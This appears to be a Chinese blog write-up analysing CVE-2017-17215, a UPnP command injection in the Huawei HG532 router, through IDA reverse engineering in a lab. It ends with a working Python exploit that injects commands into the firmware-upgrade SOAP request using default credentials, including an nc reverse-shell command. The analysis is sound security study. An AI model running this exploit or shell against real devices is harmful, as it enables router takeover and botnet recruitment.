漏洞分析:CVE-2017-17215

  华为HG532路由器的命令注入漏洞,存在于UPnP模块中。

漏洞分析

什么是UPnP?

  搭建好环境(使用IoT-vulhub的docker环境),启动环境,查看一下系统启动的服务和端口监听情况。

  漏洞点存在于UPnP模块中,关于upnp协议,其实现的功能大致如下:

  1.NAT 网关设备拥有一个公网 IP 地址(比如 10.59.116.19),内网中的主机(比如 192.168.1.101)想要与外界通信的话,NAT 网关设备可以为其做一个端口映射(比如:180.59.116.19 :80 —> 192.168.1.101 :80),这样,外部的主机发往 NAT 网关的数据包都会被转发给内网的该主机,从而实现了内网中的主机与外部主机的通信;

  2.当内网的服务,需要被外网访问的时候,就需要做一个端口映射,把内网主机的端口映射到NAT网关设备的一个端口上去,这样访问网关设备的端口时候,实际上就是访问了内网主机的服务。但是当内网有多台主机需要向外提供服务的时候,就需要手动配置NAT网关设备的映射端口,确保这些内网服务不会映射到NAT网关设备的同一个端口上去,否则就会造成端口的冲突,这给用户造成了很多麻烦;

  3.UPnP 技术标准的出现就是为了解决这个问题,只要 NAT 设备(路由器)支持 UPnP,并开启。那么,当我们的主机(或主机上的应用程序)向 NAT 设备发出端口映射请求的时候,NAT 设备就可以自动为主机分配端口并进行端口映射。这样,我们的主机就能够像公网主机一样被网络中任何主机访问了。

  总的来说,upnp提供了一种外网到内网主机的访问机制,如果网关设备的upnp模块存在问题的话,从WAN口去攻击路由器等等网关设备就会比较容易。HG532这款设备,使用upnp来进行固件更新,在固件更新的过程中存在命令注入漏洞,最早是checkpoint发现被Mirai的变种OKIRU/SATORI利用来构建僵尸网络。

漏洞函数,你在哪里被调用?

  用IDA打开/bin/upnp文件,通过搜索system等命令执行函数的交叉引用,查看存在的命令注入点。由于大部分命令执行函数的参数是硬编码过的,所以找到这个漏洞点并不困难,简单的搜索之后,就可以看到一个snprintf函数在传递参数的过程中,对参数没有做任何校验,然后snprintf读入的格式化字符串参数的地址被传递到了system函数中,system调用upg来进行固件更新,如果param1和param2两个参数可控的话,就可以在system中执行攻击者的命令。

  现在需要看一下ATP_XML_GetChildNodeByName函数,由于固件没有剥离符号表,所以通过函数名大致可以看出函数做了什么:

int __fastcall ATP_XML_GetChildNodeByName(int a1, int NodeName, int *a3, _DWORD *param)
{
int flag; // $s1
int i; // $v0
int v9; // $s0
int NodeValue; // [sp+20h] [-8h] BYREF
int ret_NodeName; // [sp+24h] [-4h] BYREF flag = 0x40090000;
if ( NodeName )
{
for ( i = ((int (__fastcall *)(int))TSP_XML_GetNodeFirstChild)(a1); ; i = TSP_XML_GetNodeNextSibling(v9) )
{ // 遍历xml节点
v9 = i;
if ( !i )
{
if ( param )
*param = 0;
return 0x40090004;
}
flag = TSP_XML_GetNodeValue(i, 0, 0, &ret_NodeName, &NodeValue);// 获取xml节点的值
if ( flag )
{
if ( param )
*param = 0;
return flag;
}
if ( ret_NodeName && !strcmp(ret_NodeName, NodeName) )
break;
}
if ( a3 )
*a3 = v9;
if ( param )
{
if ( NodeValue )
((void (*)(void))sub_408540)();
*param = NodeValue;
}
}
return flag;
}

  大胆猜测一下:通过遍历xml的节点,找到标签名和第二个参数一样的节点,然后把xml节点的值写入到第四个参数的地址处。这里比较坑的一点是,我找不到漏洞函数的交叉引用,也不知道怎么控制snprintf的参数。

  这里先在squashfs-root目录下找找"NewDownloadURL"和"NewStatusURL"这两个字符串:

  

  在upnp中查找DevUpg.xml字符串的交叉引用:

  查看ATP_UPNP_RegDeviceAndService函数,发现这个函数对ATP_UPnP_RegDevice函数和ATP_UPnP_RegService函数有大量的调用,猜测这个函数可能主要用于开启外网对内访问的服务。

  往下找一找,可以看到一个ATP_UPNP_RegAction函数,这个函数有两个参数:

  这个参数之前就作为ATP_UPnp_RegDevice的最后一个参数被传递进去过:

  我们之前说,ATP_UPnP_RegService这个函数可能是开启UPnP的服务,那ATP_UPNP_RegAction,很有可能就是要对开启的服务做一些操作,跟进看一看。

int __fastcall ATP_UPNP_RegAction(int service_id, int idx)
{
int result; // $v0
int *v4; // $s0
char *funcname; // $s2
int v6; // $s1 if ( !service_id )
return 0x40090000;
result = 0x40090000;
if ( *(_DWORD *)(service_id + 48) )
{
v4 = *(int **)(service_id + 36);
if ( v4 )
{
funcname = g_astActionArray[4 * idx];
while ( 1 )
{
if ( (v4[1] & 0x40000000) != 0 )
{
v6 = *v4;
if ( !strcmp(*v4, funcname) )
break;
}
v4 = (int *)v4[4];
result = 0x40090000;
if ( !v4 )
return result;
}
ATP_UPNP_Free(v6);
v4[1] &= 0xBFFFFFFF;
*v4 = idx;
result = 0;
}
}
return result;
}

  这里的重点,在g_astActionArray这个全局变量,这个全局变量之前没有被识别出来,在IDA里面修改识别一下,发现别有洞天:

  这是一个虚表,aUpgrade和DeviceUpgrade(这个就是漏洞函数)分别是下标为0和1的函数名。这样看来,之前找不到对应漏洞函数的交叉引用也就有理可循了。

  再来看看这个虚表对应的交叉引用,看除了ATP_UPNP_RegAction这个函数之外,它还在哪里被调用了:

  UPnPGetActionByName会返回g_astActionArray中的函数指针:

  然后这个函数指针随后会被调用:

  做到这一步,我们现在可以再梳理一下逆向的工作了。

  我们之前首先通过搜索system函数交叉引用的办法,找到了漏洞点,但是没有找到漏洞函数的交叉引用,这是因为函数是通过虚表的方式,调用了函数指针。

  然后我们通过在固件中查找关键字符串的方式,确定了UPnP协议要解析的一个关键的xml文件:DevUpg.xml。我们又回到/bin/upnp中,查找这个文件名字符串的交叉引用,通过分析ATP_UPnp_RegDevice和ATP_UPNP_RegAction这两个函数,在IDA里面找到并且正确识别了这个虚表。

  最后再通过查找虚函数其他的交叉引用,找到了函数指针被调用的地方,还原了整个漏洞函数执行的流程。

  那么现在还要关注哪些问题?

   我们现在还不知道,控制固件升级的消息格式,只有清楚了消息格式,我们才能结合之前找到的注入点注入命令。

  通过UPnP实现固件更新的过程,是通过一个Web接口来实现的,我们还要把这个接口给找出来。完成这两步,感觉这个漏洞挖掘的过程就被完整地还原出来了,开搞。

寻找Web接口

  在逆向的过程中,有这样一段代码:

  http_request是我重命名的一个变量,这个变量肯定是一个结构体指针,但是暂时没有办法还原这个结构体。UpnpGetServiceByUrl这个函数名也引起了我的注意(url这个变量也是我重命名的一个变量,根据函数名猜的),跟进到这个函数中看一看:

  这样一看,这个函数实现的功能其实也能猜个十之八九,g_pstUpnpGvarHead这个全局变量最开始是在ATP_UPNP_Init函数中被赋值;

  还有一个函数会以xml格式返回客户端错误:

  到这一步,我觉得继续静态分析的话,收获也不大了,登录到路由器后台找一找api,看看能不能抓包分析一下流量是唯一的出路。

  后台确实有固件升级的功能,但是在docker中好像不能用,我把tcpdump传到靶机中没有抓取到37215端口的流量,看了一下check point的漏洞公告和分析,尝试构造exp。

漏洞利用

  checkpoint文中提到是通过蜜罐捕获到了流量。

  通过UPnP协议控制固件升级的消息格式如上图所示,其中NewStatusURL和NewDownloadURL标签中的内容就是我们可控的命令注入点。通过nc反弹shell失败,wget传递msf的反弹shell还是稳......

  exp中需要进行http身份验证,否则就会报401错误。

import requests
from threading import Thread
from requests.auth import HTTPDigestAuth cmd = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.1 3456 > /tmp/f"
#cmd = "mkdir /tmp/poc"
payload = '''<?xml version=\"1.0\" ?>\n'''
payload += '''<s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\n'''
payload += '''<s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\">\n'''
payload += '''<NewStatusURL>;$(./tools/msf);</NewStatusURL>\n'''
payload += '''<NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL>\n</u:Upgrade>\n'''
payload += '''</s:Body>\n'''
payload += '''</s:Envelope>'''
url = "http://192.168.2.2:37215/ctrlt/DeviceUpgrade_1"
# r = requests.post(url,data = payload) r = requests.post(url,auth = HTTPDigestAuth('dslf-config', 'admin') ,data = payload)
print(r.status_code)

总结

  关于这个漏洞,感觉网上一些文章都是搭了环境,然后直接找一次命令注入点,根据漏洞公告给的信息打一次exp,少了一些细节。我在分析的过程中,加入了自己学习和研究的过程中的一些思路和想法,在这个过程中,我对于UPnP协议也有了一些了解,加深了对命令注入漏洞数据流的理解。

参考链接:

https://zhuanlan.zhihu.com/p/40407669

https://nosec.org/home/detail/4871.html

https://research.checkpoint.com/2017/good-zero-day-skiddie/

  

漏洞分析:CVE-2017-17215的更多相关文章

  1. 漏洞分析:CVE 2021-3156

    漏洞分析:CVE 2021-3156 漏洞简述 漏洞名称:sudo堆溢出本地提权 漏洞编号:CVE-2021-3156 漏洞类型:堆溢出 漏洞影响:本地提权 利用难度:较高 基础权限:需要普通用户权限 ...

  2. CVE-2016-10190 FFmpeg Http协议 heap buffer overflow漏洞分析及利用

    作者:栈长@蚂蚁金服巴斯光年安全实验室 -------- 1. 背景 FFmpeg是一个著名的处理音视频的开源项目,非常多的播放器.转码器以及视频网站都用到了FFmpeg作为内核或者是处理流媒体的工具 ...

  3. Java反序列化漏洞分析

    相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...

  4. FFmpeg任意文件读取漏洞分析

    这次的漏洞实际上与之前曝出的一个 CVE 非常之类似,可以说是旧瓶装新酒,老树开新花. 之前漏洞的一篇分析文章: SSRF 和本地文件泄露(CVE-2016-1897/8)http://static. ...

  5. Intel CPU 漏洞分析

    Intel CPU漏洞分析报告 预备知识 存储分级 由于计算机存储分级的特性(第一级:寄存器,第二级:高速缓存,第三级:内存,第四级:磁盘),每一级之间的访问速度差距高达数量级.所以处理器会将用到的数 ...

  6. Elasticsearch 核心插件Kibana 本地文件包含漏洞分析(CVE-2018-17246)

    不久前Elasticsearch发布了最新安全公告, Elasticsearch Kibana 6.4.3之前版本和5.6.13之前版本中的Console插件存在严重的本地文件包含漏洞可导致拒绝服务攻 ...

  7. exim CVE-2017-16943 uaf漏洞分析

    前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 这是最近爆出来的 exim 的一个 uaf 漏洞,可以进行远程代码 ...

  8. ThinkCMF X2.2.2多处SQL注入漏洞分析

       1.     漏洞描述 ThinkCMF是一款基于ThinkPHP+MySQL开发的中文内容管理框架,其中X系列基于ThinkPHP 3.2.3开发,最后更新到2.2.2版本.最近刚好在渗透测试 ...

  9. 看个AV也中招之cve-2010-2553漏洞分析

    试想:某一天,你的基友给你了一个视频文件,号称是陈老师拍的苍老师的老师题材的最新电影.avi,你满心欢喜,在确定文件格式确实为avi格式后,愉快的脱下裤子准备欣赏,打开后却发现什么也没有,而随后你的基 ...

  10. CVE-2010-3971 CSS内存破坏漏洞分析

    看了仙果版主的议题演讲,其中提到cve-2010-3971是一个浏览器漏洞利用中的里程碑.于是找来POC,尝试分析一下. 1.漏洞重现 XP SP3+ie6.0环境 poc如下: poc.htm &l ...

随机推荐

  1. Vue:Vue的介绍以及组件剖析

    介绍 现在,随着基于JavaScript的单页应用程序(SPA)和服务器端渲染(SSR)的兴起,可以用JavaScript编写整个前端应用程序,并整洁地管理和维护该应用程序的前端代码.诸如Angula ...

  2. Java:final,finally 和 finalize 的区别

    在Java中,final,final和finalize之间有许多差异.final,final和finalize之间的差异列表如下: No final finally finalize 1 final用 ...

  3. p->next = q, p = q->next, q->next = p->next的区别

  4. spark搭建

    1.上传解压,配置环境变量 配置bin目录 2.修改配置文件 conf cp spark-env.sh.template spark-env.sh 增加配置 export SPARK_MASTER_I ...

  5. 简单的SQl时间序列生成,每次时间间隔10分钟。

    create table #timeseries(Times datetime not null) go declare @firstdate datetime , @lastdate datetim ...

  6. 暑假算法练习Day6

    最近开始了实验室的生活,并且学习了bullet journal.希望接下来的每一天都能完成所有的任务. 1012 数字分类 (20 分) 给定一系列正整数,请按要求对数字进行分类,并输出以下 5 个数 ...

  7. [atARC088F]Christmas Tree

    合并具有交换律,因此即将一个连通块(初始为空)与一条链合并(其中各选1点,初始直接替换) 把插入改为染色,等价于对树上的一条链(包括点和边)染色,其中恰好有1个已经被染色的点(初始任意) 对于&quo ...

  8. 一个初步的lilypond模板

    代码文档在下方,涉及了许多基本的文档操作,包括: 1)页面设置,包括纸张大小.页边距 2)段落设置,包括不同内容之间的行距 3)乐谱设置,包括设置谱子大小.谱号.调号.拍号,甚至还有拍号/小节线不可见 ...

  9. spring中使用@value注入static静态变量

    @Value("${meeting.private_key}")public static String PRIVATE_KEY;发现没有数据,null 分析 Spring是不能直 ...

  10. 31、下一个排列 | 算法(leetode,附思维导图 + 全部解法)300题

    零 标题:算法(leetode,附思维导图 + 全部解法)300题之(31)下一个排列 一 题目描述 二 解法总览(思维导图) 三 全部解法 1 方案1 1)代码: // 方案1 "双指针法 ...